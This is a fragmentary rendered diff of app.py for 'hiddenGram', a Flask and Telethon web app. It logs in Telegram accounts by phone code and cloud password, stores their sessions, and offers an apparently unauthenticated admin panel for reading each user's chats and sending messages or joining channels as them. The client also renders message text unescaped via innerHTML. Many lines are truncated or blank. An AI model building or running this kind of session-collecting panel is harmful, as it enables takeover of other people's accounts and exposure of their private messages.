Spaces:
Paused
Paused
Update app.py
Browse files
app.py
CHANGED
|
@@ -3,19 +3,21 @@ import hashlib
|
|
| 3 |
import os
|
| 4 |
import sqlite3
|
| 5 |
from pathlib import Path
|
| 6 |
-
|
| 7 |
|
| 8 |
-
from flask import Flask, jsonify, request, render_template_string, send_from_directory, redirect, url_for
|
| 9 |
from telethon.sync import TelegramClient
|
| 10 |
-
from telethon.errors import SessionPasswordNeededError, FloodWaitError, UserNotParticipantError
|
| 11 |
from telethon.tl.functions.messages import ImportChatInviteRequest
|
| 12 |
from telethon.tl.functions.channels import JoinChannelRequest
|
| 13 |
-
from telethon.tl.types import User,
|
| 14 |
|
| 15 |
app = Flask(__name__)
|
| 16 |
|
| 17 |
-
|
| 18 |
-
|
|
|
|
|
|
|
| 19 |
HOST = '0.0.0.0'
|
| 20 |
PORT = 7860
|
| 21 |
SESSION_DIR = 'sessions'
|
|
@@ -26,6 +28,7 @@ DB_PATH = 'users.db'
|
|
| 26 |
os.makedirs(SESSION_DIR, exist_ok=True)
|
| 27 |
os.makedirs(DOWNLOAD_DIR, exist_ok=True)
|
| 28 |
|
|
|
|
| 29 |
def init_db():
|
| 30 |
with sqlite3.connect(DB_PATH) as conn:
|
| 31 |
c = conn.cursor()
|
|
@@ -33,17 +36,14 @@ def init_db():
|
|
| 33 |
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
| 34 |
telegram_id TEXT UNIQUE,
|
| 35 |
username TEXT,
|
| 36 |
-
phone TEXT
|
| 37 |
-
session_file TEXT
|
| 38 |
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
|
| 39 |
)''')
|
| 40 |
conn.commit()
|
| 41 |
|
|
|
|
| 42 |
async def get_user_client(user_id):
|
| 43 |
-
"""
|
| 44 |
-
Connects to a TelegramClient for the given user_id.
|
| 45 |
-
Ensures the client is connected before returning.
|
| 46 |
-
"""
|
| 47 |
with sqlite3.connect(DB_PATH) as conn:
|
| 48 |
c = conn.cursor()
|
| 49 |
c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
|
|
@@ -51,28 +51,17 @@ async def get_user_client(user_id):
|
|
| 51 |
if not result:
|
| 52 |
return None, "User not found"
|
| 53 |
session_file = result[0]
|
| 54 |
-
|
| 55 |
client = TelegramClient(session_file, API_ID, API_HASH)
|
| 56 |
try:
|
| 57 |
await client.connect()
|
| 58 |
if not await client.is_user_authorized():
|
| 59 |
-
|
| 60 |
-
with sqlite3.connect(DB_PATH) as conn:
|
| 61 |
-
c = conn.cursor()
|
| 62 |
-
c.execute('DELETE FROM users WHERE id = ?', (user_id,))
|
| 63 |
-
conn.commit()
|
| 64 |
-
await client.disconnect()
|
| 65 |
-
return None, "Session expired or invalid. Please re-login."
|
| 66 |
except Exception as e:
|
| 67 |
-
|
| 68 |
-
await client.disconnect()
|
| 69 |
-
return None, f"Failed to connect Telegram client: {e}"
|
| 70 |
-
|
| 71 |
return client, None
|
| 72 |
|
| 73 |
-
#
|
| 74 |
|
| 75 |
-
# Main login page for adding new accounts
|
| 76 |
LOGIN_TEMPLATE = '''
|
| 77 |
<!DOCTYPE html>
|
| 78 |
<html lang="en">
|
|
@@ -81,64 +70,48 @@ LOGIN_TEMPLATE = '''
|
|
| 81 |
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
| 82 |
<title>hiddenGram - Login</title>
|
| 83 |
<style>
|
| 84 |
-
body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: #
|
| 85 |
-
.container { background: #
|
| 86 |
-
h1 { color: #
|
| 87 |
-
|
| 88 |
-
|
| 89 |
-
|
| 90 |
-
|
| 91 |
-
}
|
| 92 |
-
|
| 93 |
-
|
| 94 |
-
font-size: 1.1em; font-weight: bold; transition: background 0.2s ease-in-out, transform 0.1s ease-in-out;
|
| 95 |
-
margin-top: 10px; width: calc(100% - 20px);
|
| 96 |
-
}
|
| 97 |
-
button:hover { background: #6aB1D1; transform: translateY(-1px); }
|
| 98 |
-
button:active { transform: translateY(1px); }
|
| 99 |
-
.message { margin-top: 15px; padding: 10px; border-radius: 5px; font-weight: bold; }
|
| 100 |
-
.message.success { background: #4CAF50; color: white; }
|
| 101 |
-
.message.error { background: #f44336; color: white; }
|
| 102 |
-
.admin-link { display: block; margin-top: 25px; font-size: 1.1em; }
|
| 103 |
-
.admin-link a { color: #87CEEB; text-decoration: none; transition: color 0.2s; }
|
| 104 |
-
.admin-link a:hover { color: #6aB1D1; text-decoration: underline; }
|
| 105 |
</style>
|
| 106 |
</head>
|
| 107 |
<body>
|
| 108 |
<div class="container">
|
| 109 |
-
<h1>hiddenGram
|
| 110 |
-
<
|
| 111 |
-
<div class="form-group">
|
| 112 |
<input type="text" id="phone" placeholder="Phone number (+1234567890)">
|
| 113 |
<button onclick="startLogin()">Start Login</button>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 114 |
</div>
|
| 115 |
-
<div class="
|
| 116 |
-
<input type="text" id="code" placeholder="Verification code" style="display:none;">
|
| 117 |
-
<input type="text" id="password" placeholder="Cloud password" style="display:none;">
|
| 118 |
-
<button id="submitCode" onclick="submitCode()" style="display:none;">Submit Code</button>
|
| 119 |
-
<button id="submitPassword" onclick="submitPassword()" style="display:none;">Submit Password</button>
|
| 120 |
-
</div>
|
| 121 |
-
<div id="statusMessage" class="message" style="display:none;"></div>
|
| 122 |
-
|
| 123 |
-
<div class="admin-link">
|
| 124 |
-
<a href="/admin">Go to Admin Panel</a>
|
| 125 |
-
</div>
|
| 126 |
</div>
|
| 127 |
<script>
|
| 128 |
let phone = '';
|
| 129 |
let phoneCodeHash = '';
|
| 130 |
const statusMessageDiv = document.getElementById('statusMessage');
|
| 131 |
|
| 132 |
-
function showMessage(
|
| 133 |
-
statusMessageDiv.textContent =
|
| 134 |
-
statusMessageDiv.className =
|
| 135 |
-
statusMessageDiv.
|
| 136 |
}
|
| 137 |
|
| 138 |
async function startLogin() {
|
| 139 |
phone = document.getElementById('phone').value;
|
| 140 |
if (!phone) {
|
| 141 |
-
showMessage('Please enter
|
| 142 |
return;
|
| 143 |
}
|
| 144 |
showMessage('Sending code...', 'info');
|
|
@@ -149,14 +122,14 @@ LOGIN_TEMPLATE = '''
|
|
| 149 |
});
|
| 150 |
const result = await response.json();
|
| 151 |
if (result.success) {
|
| 152 |
-
showMessage(result.message, 'success');
|
| 153 |
if (result.phone_code_hash) {
|
| 154 |
phoneCodeHash = result.phone_code_hash;
|
| 155 |
-
document.getElementById('code').
|
| 156 |
-
document.getElementById('submitCode').
|
|
|
|
| 157 |
} else {
|
| 158 |
-
|
| 159 |
-
|
| 160 |
}
|
| 161 |
} else {
|
| 162 |
showMessage('Login failed: ' + result.message, 'error');
|
|
@@ -177,16 +150,16 @@ LOGIN_TEMPLATE = '''
|
|
| 177 |
});
|
| 178 |
const result = await response.json();
|
| 179 |
if (result.success) {
|
| 180 |
-
showMessage(result.message, 'success');
|
| 181 |
-
|
| 182 |
} else if (result.password_required) {
|
| 183 |
showMessage(result.message, 'info');
|
| 184 |
-
document.getElementById('password').
|
| 185 |
-
document.getElementById('submitPassword').
|
| 186 |
-
document.getElementById('submitCode').
|
| 187 |
-
document.getElementById('code').
|
| 188 |
} else {
|
| 189 |
-
showMessage('
|
| 190 |
}
|
| 191 |
}
|
| 192 |
|
|
@@ -204,19 +177,272 @@ LOGIN_TEMPLATE = '''
|
|
| 204 |
});
|
| 205 |
const result = await response.json();
|
| 206 |
if (result.success) {
|
| 207 |
-
showMessage(result.message, 'success');
|
| 208 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 209 |
} else {
|
| 210 |
-
|
| 211 |
}
|
| 212 |
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 213 |
</script>
|
| 214 |
</body>
|
| 215 |
</html>
|
| 216 |
'''
|
| 217 |
|
| 218 |
-
|
| 219 |
-
ADMIN_TEMPLATE = '''
|
| 220 |
<!DOCTYPE html>
|
| 221 |
<html lang="en">
|
| 222 |
<head>
|
|
@@ -224,18 +450,17 @@ ADMIN_TEMPLATE = '''
|
|
| 224 |
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
| 225 |
<title>hiddenGram - Admin Panel</title>
|
| 226 |
<style>
|
| 227 |
-
body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: #
|
| 228 |
-
.container { max-width: 900px; margin: auto; background: #
|
| 229 |
-
h1 { text-align: center; color: #
|
| 230 |
-
|
| 231 |
-
|
| 232 |
-
th
|
| 233 |
-
|
| 234 |
-
tr:
|
| 235 |
-
|
| 236 |
-
a {
|
| 237 |
-
|
| 238 |
-
.home-link { display: block; text-align: center; margin-top: 30px; font-size: 1.1em; }
|
| 239 |
</style>
|
| 240 |
</head>
|
| 241 |
<body>
|
|
@@ -251,454 +476,235 @@ ADMIN_TEMPLATE = '''
|
|
| 251 |
<tr>
|
| 252 |
<td>{{ user[0] }}</td>
|
| 253 |
<td>{{ user[1] }}</td>
|
| 254 |
-
<td>{{ user[2]
|
| 255 |
<td>{{ user[3] }}</td>
|
| 256 |
<td>
|
| 257 |
-
<a href="/user/{{ user[0] }}/
|
| 258 |
</td>
|
| 259 |
</tr>
|
| 260 |
{% endfor %}
|
| 261 |
</tbody>
|
| 262 |
</table>
|
| 263 |
-
<div class="
|
| 264 |
-
<a href="/">
|
| 265 |
</div>
|
| 266 |
</div>
|
| 267 |
</body>
|
| 268 |
</html>
|
| 269 |
'''
|
| 270 |
|
| 271 |
-
|
| 272 |
-
USER_CLIENT_TEMPLATE = '''
|
| 273 |
<!DOCTYPE html>
|
| 274 |
<html lang="en">
|
| 275 |
<head>
|
| 276 |
<meta charset="UTF-8">
|
| 277 |
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
| 278 |
-
<title>hiddenGram - {{ user.username or user.phone }}</title>
|
| 279 |
<style>
|
| 280 |
-
body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: #
|
| 281 |
-
.
|
| 282 |
-
|
| 283 |
-
|
| 284 |
-
}
|
| 285 |
-
.
|
| 286 |
-
.
|
| 287 |
-
|
| 288 |
-
|
| 289 |
-
|
| 290 |
-
|
| 291 |
-
.chat-
|
| 292 |
-
.chat-
|
| 293 |
-
.chat-
|
| 294 |
-
.chat-last-
|
| 295 |
-
|
| 296 |
-
.chat-
|
| 297 |
-
|
| 298 |
-
.
|
| 299 |
-
.
|
| 300 |
-
|
| 301 |
-
|
| 302 |
-
}
|
| 303 |
-
.
|
| 304 |
-
|
| 305 |
-
.message-
|
| 306 |
-
.message-item {
|
| 307 |
-
display: flex; margin-bottom: 15px;
|
| 308 |
-
max-width: 80%; /* Limit message bubble width */
|
| 309 |
-
}
|
| 310 |
-
.message-item.me { justify-content: flex-end; margin-left: auto; } /* Align my messages to right */
|
| 311 |
-
.message-bubble {
|
| 312 |
-
background: #4a4a4a; padding: 12px 15px; border-radius: 18px; position: relative;
|
| 313 |
-
word-wrap: break-word; overflow-wrap: break-word; /* Ensure long words wrap */
|
| 314 |
-
max-width: 100%; /* Ensure bubble itself doesn't overflow */
|
| 315 |
-
min-width: 50px; /* Prevent very small bubbles for short messages */
|
| 316 |
-
}
|
| 317 |
-
.message-item.me .message-bubble { background: #87CEEB; color: #3a3a3a; } /* My message color */
|
| 318 |
-
|
| 319 |
-
.message-sender { font-size: 0.9em; font-weight: bold; margin-bottom: 5px; color: #bbbbbb; }
|
| 320 |
-
.message-item.me .message-sender { color: #5a5a5a; } /* Sender name for my message */
|
| 321 |
-
|
| 322 |
-
.message-time { font-size: 0.75em; color: #999; text-align: right; margin-top: 5px; }
|
| 323 |
-
.message-item.me .message-time { color: #5a5a5a; }
|
| 324 |
-
|
| 325 |
.media-link { display: block; margin-top: 5px; color: #00ffff; text-decoration: none; word-break: break-all; }
|
| 326 |
.media-link:hover { text-decoration: underline; }
|
| 327 |
-
.
|
| 328 |
-
.
|
| 329 |
-
|
| 330 |
-
.
|
| 331 |
-
padding: 15px; border-top: 1px solid #4a4a4a; background: #3a3a3a;
|
| 332 |
-
display: flex;
|
| 333 |
-
}
|
| 334 |
-
.message-input {
|
| 335 |
-
flex-grow: 1; padding: 12px; background: #4a4a4a; color: #e0e0e0;
|
| 336 |
-
border: none; border-radius: 20px; outline: none; margin-right: 10px;
|
| 337 |
-
resize: none; /* Disable textarea resize handle */
|
| 338 |
-
font-size: 1em;
|
| 339 |
-
max-height: 120px; /* Limit height for auto-expanding textarea */
|
| 340 |
-
overflow-y: auto;
|
| 341 |
-
}
|
| 342 |
-
.message-input::placeholder { color: #999; }
|
| 343 |
-
.send-button {
|
| 344 |
-
padding: 12px 20px; background: #87CEEB; color: #3a3a3a; border: none;
|
| 345 |
-
border-radius: 20px; cursor: pointer; font-weight: bold; transition: background 0.2s;
|
| 346 |
-
}
|
| 347 |
-
.send-button:hover { background: #6aB1D1; }
|
| 348 |
-
|
| 349 |
-
/* Admin/Action Modals (simple overlay) */
|
| 350 |
-
.modal {
|
| 351 |
-
display: none; position: fixed; z-index: 1; left: 0; top: 0; width: 100%; height: 100%;
|
| 352 |
-
overflow: auto; background-color: rgba(0,0,0,0.7); justify-content: center; align-items: center;
|
| 353 |
-
}
|
| 354 |
-
.modal-content {
|
| 355 |
-
background-color: #3a3a3a; margin: auto; padding: 30px; border-radius: 10px;
|
| 356 |
-
width: 80%; max-width: 500px; text-align: center;
|
| 357 |
-
}
|
| 358 |
-
.modal-content h3 { color: #87CEEB; margin-bottom: 20px; }
|
| 359 |
-
.modal-content input[type="text"], .modal-content textarea { width: calc(100% - 20px); margin-bottom: 15px; }
|
| 360 |
-
.modal-content .button-group button { margin: 5px; padding: 10px 20px; border-radius: 5px; }
|
| 361 |
-
.close-button { color: #aaa; float: right; font-size: 28px; font-weight: bold; }
|
| 362 |
-
.close-button:hover, .close-button:focus { color: #e0e0e0; text-decoration: none; cursor: pointer; }
|
| 363 |
</style>
|
| 364 |
</head>
|
| 365 |
<body>
|
| 366 |
-
<div class="
|
| 367 |
-
<
|
| 368 |
-
|
| 369 |
-
|
| 370 |
-
|
| 371 |
-
|
| 372 |
-
<
|
| 373 |
-
|
| 374 |
-
|
| 375 |
-
<
|
|
|
|
|
|
|
|
|
|
|
|
|
| 376 |
</div>
|
| 377 |
-
</div>
|
| 378 |
-
<div class="chat-list" id="chatList">
|
| 379 |
-
<!-- Chats will be loaded here by JavaScript -->
|
| 380 |
-
<p style="text-align: center; padding: 20px; color: #bbb;">Loading chats...</p>
|
| 381 |
-
</div>
|
| 382 |
-
</div>
|
| 383 |
|
| 384 |
-
|
| 385 |
-
|
| 386 |
-
|
| 387 |
-
|
| 388 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 389 |
</div>
|
| 390 |
</div>
|
| 391 |
-
<div class="message-list-container" id="messageListContainer">
|
| 392 |
-
<!-- Messages will be loaded here by JavaScript -->
|
| 393 |
-
<p style="text-align: center; padding: 20px; color: #bbb;">No chat selected. Please select a chat from the left panel.</p>
|
| 394 |
-
</div>
|
| 395 |
-
<div class="message-input-area" id="messageInputArea" style="display:none;">
|
| 396 |
-
<textarea id="messageInput" class="message-input" placeholder="Type a message..."></textarea>
|
| 397 |
-
<button class="send-button" onclick="sendMessage()">Send</button>
|
| 398 |
-
</div>
|
| 399 |
-
</div>
|
| 400 |
|
| 401 |
-
|
| 402 |
-
|
| 403 |
-
|
| 404 |
-
|
| 405 |
-
<h3>Join New Chat/Channel</h3>
|
| 406 |
-
<input type="text" id="joinChatIdentifier" placeholder="Channel/Group username or invite link">
|
| 407 |
-
<div class="button-group">
|
| 408 |
-
<button onclick="joinChat({{ user.id }})">Join Chat</button>
|
| 409 |
</div>
|
| 410 |
-
<p id="joinChatStatus" style="color: #ffeb3b;"></p>
|
| 411 |
</div>
|
| 412 |
-
</div>
|
| 413 |
|
| 414 |
-
|
| 415 |
-
|
| 416 |
-
<span class="close-button" onclick="closeModal('sendMessageModal')">×</span>
|
| 417 |
-
<h3>Send Message to Arbitrary Recipient</h3>
|
| 418 |
-
<input type="text" id="sendMessageRecipient" placeholder="Recipient (username or ID)">
|
| 419 |
-
<textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea>
|
| 420 |
-
<div class="button-group">
|
| 421 |
-
<button onclick="sendArbitraryMessage({{ user.id }})">Send Message</button>
|
| 422 |
-
</div>
|
| 423 |
-
<p id="sendMessageStatus" style="color: #ffeb3b;"></p>
|
| 424 |
</div>
|
| 425 |
</div>
|
| 426 |
|
| 427 |
<script>
|
| 428 |
-
|
| 429 |
-
let
|
| 430 |
-
let currentChatTitle = '';
|
| 431 |
|
| 432 |
-
|
| 433 |
-
|
| 434 |
-
document.getElementById('
|
| 435 |
-
|
| 436 |
-
|
| 437 |
-
sendMessage();
|
| 438 |
-
}
|
| 439 |
-
});
|
| 440 |
-
document.getElementById('messageInput').addEventListener('input', function() {
|
| 441 |
-
this.style.height = 'auto';
|
| 442 |
-
this.style.height = (this.scrollHeight) + 'px';
|
| 443 |
});
|
| 444 |
-
});
|
| 445 |
-
|
| 446 |
-
async function loadChatList() {
|
| 447 |
-
const chatListDiv = document.getElementById('chatList');
|
| 448 |
-
chatListDiv.innerHTML = '<p style="text-align: center; padding: 20px; color: #bbb;">Loading chats...</p>';
|
| 449 |
-
try {
|
| 450 |
-
const response = await fetch(`/api/user/${userId}/chats`);
|
| 451 |
-
const result = await response.json();
|
| 452 |
-
if (result.success) {
|
| 453 |
-
chatListDiv.innerHTML = '';
|
| 454 |
-
if (result.chats.length === 0) {
|
| 455 |
-
chatListDiv.innerHTML = '<p style="text-align: center; padding: 20px; color: #bbb;">No chats found. Join one!</p>';
|
| 456 |
-
}
|
| 457 |
-
result.chats.forEach(chat => {
|
| 458 |
-
const chatItem = document.createElement('div');
|
| 459 |
-
chatItem.className = 'chat-item';
|
| 460 |
-
chatItem.setAttribute('data-chat-id', chat.id);
|
| 461 |
-
chatItem.onclick = () => selectChat(chat.id, chat.title);
|
| 462 |
-
|
| 463 |
-
const avatarInitial = chat.title ? chat.title.charAt(0).toUpperCase() : '?';
|
| 464 |
-
chatItem.innerHTML = `
|
| 465 |
-
<div class="chat-avatar">${avatarInitial}</div>
|
| 466 |
-
<div class="chat-info">
|
| 467 |
-
<div class="chat-title">${chat.title}</div>
|
| 468 |
-
<div class="chat-last-message"><em>${chat.type}</em></div>
|
| 469 |
-
</div>
|
| 470 |
-
`;
|
| 471 |
-
chatListDiv.appendChild(chatItem);
|
| 472 |
-
});
|
| 473 |
-
} else {
|
| 474 |
-
chatListDiv.innerHTML = `<p style="text-align: center; padding: 20px; color: #f44336;">Error: ${result.message}</p>`;
|
| 475 |
-
}
|
| 476 |
-
} catch (error) {
|
| 477 |
-
chatListDiv.innerHTML = `<p style="text-align: center; padding: 20px; color: #f44336;">Failed to load chats: ${error.message}</p>`;
|
| 478 |
-
}
|
| 479 |
}
|
| 480 |
|
| 481 |
-
function selectChat(chatId, chatTitle) {
|
| 482 |
-
|
| 483 |
-
|
| 484 |
-
|
| 485 |
-
document.getElementById('chatTitle').textContent = chatTitle;
|
| 486 |
-
document.getElementById('messageInputArea').style.display = 'flex';
|
| 487 |
-
document.getElementById('refreshMessagesBtn').style.display = 'inline-block';
|
| 488 |
-
|
| 489 |
-
// Remove active class from previous and add to current
|
| 490 |
document.querySelectorAll('.chat-item').forEach(item => {
|
| 491 |
item.classList.remove('active');
|
| 492 |
});
|
| 493 |
-
document.querySelector(`.chat-item[data-
|
| 494 |
|
| 495 |
-
|
| 496 |
-
|
|
|
|
|
|
|
|
|
|
| 497 |
|
| 498 |
-
|
| 499 |
-
const
|
| 500 |
-
|
| 501 |
-
|
| 502 |
-
const
|
| 503 |
-
|
| 504 |
-
|
| 505 |
-
|
| 506 |
-
|
| 507 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 508 |
}
|
| 509 |
-
result.messages.forEach(msg => {
|
| 510 |
-
const messageItem = document.createElement('div');
|
| 511 |
-
messageItem.className = `message-item ${msg.is_outgoing ? 'me' : ''}`; // Add 'me' class if outgoing
|
| 512 |
-
|
| 513 |
-
let mediaHtml = '';
|
| 514 |
-
if (msg.file_name) {
|
| 515 |
-
mediaHtml = `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>`;
|
| 516 |
-
} else if (msg.unsupported_media) {
|
| 517 |
-
mediaHtml = `<div class="unsupported-media"><em>(Unsupported media type)</em></div>`;
|
| 518 |
-
} else if (msg.poll_question) {
|
| 519 |
-
mediaHtml = `<div class="unsupported-media"><em>(Poll: ${msg.poll_question})</em></div>`;
|
| 520 |
-
} else if (msg.geo_coords) {
|
| 521 |
-
mediaHtml = `<div class="unsupported-media"><em>(Location: ${msg.geo_coords})</em></div>`;
|
| 522 |
-
} else if (msg.contact_name) {
|
| 523 |
-
mediaHtml = `<div class="unsupported-media"><em>(Contact: ${msg.contact_name})</em></div>`;
|
| 524 |
-
} else if (msg.webpage_url) {
|
| 525 |
-
mediaHtml = `<a class="media-link" href="${msg.webpage_url}" target="_blank">Web Page: ${msg.webpage_title || msg.webpage_url}</a>`;
|
| 526 |
-
}
|
| 527 |
-
|
| 528 |
-
messageItem.innerHTML = `
|
| 529 |
-
<div class="message-bubble">
|
| 530 |
-
<div class="message-sender">${msg.sender_name}</div>
|
| 531 |
-
${msg.text ? `<div class="message-text">${msg.text.replace(/\n/g, '<br>')}</div>` : ''}
|
| 532 |
-
${mediaHtml}
|
| 533 |
-
<div class="message-time">${msg.date}</div>
|
| 534 |
-
</div>
|
| 535 |
-
`;
|
| 536 |
-
messageListContainer.appendChild(messageItem);
|
| 537 |
-
});
|
| 538 |
-
// Scroll to bottom
|
| 539 |
-
messageListContainer.scrollTop = messageListContainer.scrollHeight;
|
| 540 |
-
} else {
|
| 541 |
-
messageListContainer.innerHTML = `<p style="text-align: center; padding: 20px; color: #f44336;">Error: ${result.message}</p>`;
|
| 542 |
-
}
|
| 543 |
-
} catch (error) {
|
| 544 |
-
messageListContainer.innerHTML = `<p style="text-align: center; padding: 20px; color: #f44336;">Failed to load messages: ${error.message}</p>`;
|
| 545 |
-
}
|
| 546 |
-
}
|
| 547 |
-
|
| 548 |
-
async function sendMessage() {
|
| 549 |
-
if (!currentChatId) {
|
| 550 |
-
alert('Please select a chat first.');
|
| 551 |
-
return;
|
| 552 |
-
}
|
| 553 |
-
const message = document.getElementById('messageInput').value.trim();
|
| 554 |
-
if (!message) {
|
| 555 |
-
return; // Don't send empty messages
|
| 556 |
-
}
|
| 557 |
|
| 558 |
-
|
| 559 |
-
|
| 560 |
-
|
| 561 |
-
|
| 562 |
-
|
| 563 |
-
|
| 564 |
-
|
| 565 |
-
|
| 566 |
-
<div class="message-time">Sending...</div>
|
| 567 |
-
</div>
|
| 568 |
-
`;
|
| 569 |
-
messageListContainer.appendChild(tempMessageItem);
|
| 570 |
-
messageListContainer.scrollTop = messageListContainer.scrollHeight;
|
| 571 |
-
document.getElementById('messageInput').value = ''; // Clear input
|
| 572 |
-
|
| 573 |
-
try {
|
| 574 |
-
const response = await fetch(`/api/user/${userId}/chat/${currentChatId}/send_message`, {
|
| 575 |
-
method: 'POST',
|
| 576 |
-
headers: { 'Content-Type': 'application/json' },
|
| 577 |
-
body: JSON.stringify({ message })
|
| 578 |
});
|
| 579 |
-
|
| 580 |
-
|
| 581 |
-
|
| 582 |
-
|
| 583 |
-
tempMessageItem.querySelector('.message-time').textContent = `Failed: ${result.message}`;
|
| 584 |
-
tempMessageItem.querySelector('.message-bubble').style.backgroundColor = '#f44336';
|
| 585 |
-
}
|
| 586 |
-
} catch (error) {
|
| 587 |
-
tempMessageItem.querySelector('.message-time').textContent = `Error: ${error.message}`;
|
| 588 |
-
tempMessageItem.querySelector('.message-bubble').style.backgroundColor = '#f44336';
|
| 589 |
-
} finally {
|
| 590 |
-
setTimeout(() => loadMessages(currentChatId, true), 500); // Refresh after a short delay
|
| 591 |
}
|
| 592 |
}
|
| 593 |
|
| 594 |
-
|
| 595 |
-
|
| 596 |
-
document.getElementById(
|
| 597 |
-
|
| 598 |
-
|
| 599 |
-
function closeModal(modalId) {
|
| 600 |
-
document.getElementById(modalId).style.display = 'none';
|
| 601 |
-
// Clear status messages
|
| 602 |
-
document.getElementById('joinChatStatus').textContent = '';
|
| 603 |
-
document.getElementById('sendMessageStatus').textContent = '';
|
| 604 |
-
}
|
| 605 |
-
|
| 606 |
-
function openJoinChatModal() {
|
| 607 |
-
document.getElementById('joinChatIdentifier').value = '';
|
| 608 |
-
openModal('joinChatModal');
|
| 609 |
-
}
|
| 610 |
-
|
| 611 |
-
function openSendMessageModal() {
|
| 612 |
-
document.getElementById('sendMessageRecipient').value = '';
|
| 613 |
-
document.getElementById('sendMessageContent').value = '';
|
| 614 |
-
openModal('sendMessageModal');
|
| 615 |
-
}
|
| 616 |
-
|
| 617 |
-
async function joinChat(userId) {
|
| 618 |
-
const chatIdentifier = document.getElementById('joinChatIdentifier').value;
|
| 619 |
-
const statusDiv = document.getElementById('joinChatStatus');
|
| 620 |
-
if (!chatIdentifier) {
|
| 621 |
-
statusDiv.textContent = 'Please enter channel/group username or invite link.';
|
| 622 |
return;
|
| 623 |
}
|
| 624 |
-
|
| 625 |
-
|
| 626 |
-
|
| 627 |
-
|
| 628 |
-
|
| 629 |
-
|
| 630 |
-
|
| 631 |
-
|
| 632 |
-
|
| 633 |
-
|
| 634 |
-
|
| 635 |
-
|
| 636 |
-
|
| 637 |
-
|
| 638 |
-
}, 1500);
|
| 639 |
-
} else {
|
| 640 |
-
statusDiv.style.color = '#f44336';
|
| 641 |
}
|
| 642 |
-
} catch (error) {
|
| 643 |
-
statusDiv.textContent = `Error: ${error.message}`;
|
| 644 |
-
statusDiv.style.color = '#f44336';
|
| 645 |
}
|
| 646 |
}
|
| 647 |
|
| 648 |
-
async function
|
| 649 |
-
const
|
| 650 |
-
|
| 651 |
-
|
| 652 |
-
if (!recipient || !content) {
|
| 653 |
-
statusDiv.textContent = 'Please enter recipient and message.';
|
| 654 |
return;
|
| 655 |
}
|
| 656 |
-
|
| 657 |
-
|
| 658 |
-
|
| 659 |
-
|
| 660 |
-
|
| 661 |
-
|
| 662 |
-
|
| 663 |
-
|
| 664 |
-
|
| 665 |
-
|
| 666 |
-
|
| 667 |
-
document.getElementById('sendMessageContent').value = '';
|
| 668 |
-
setTimeout(() => closeModal('sendMessageModal'), 1500);
|
| 669 |
-
} else {
|
| 670 |
-
statusDiv.style.color = '#f44336';
|
| 671 |
-
}
|
| 672 |
-
} catch (error) {
|
| 673 |
-
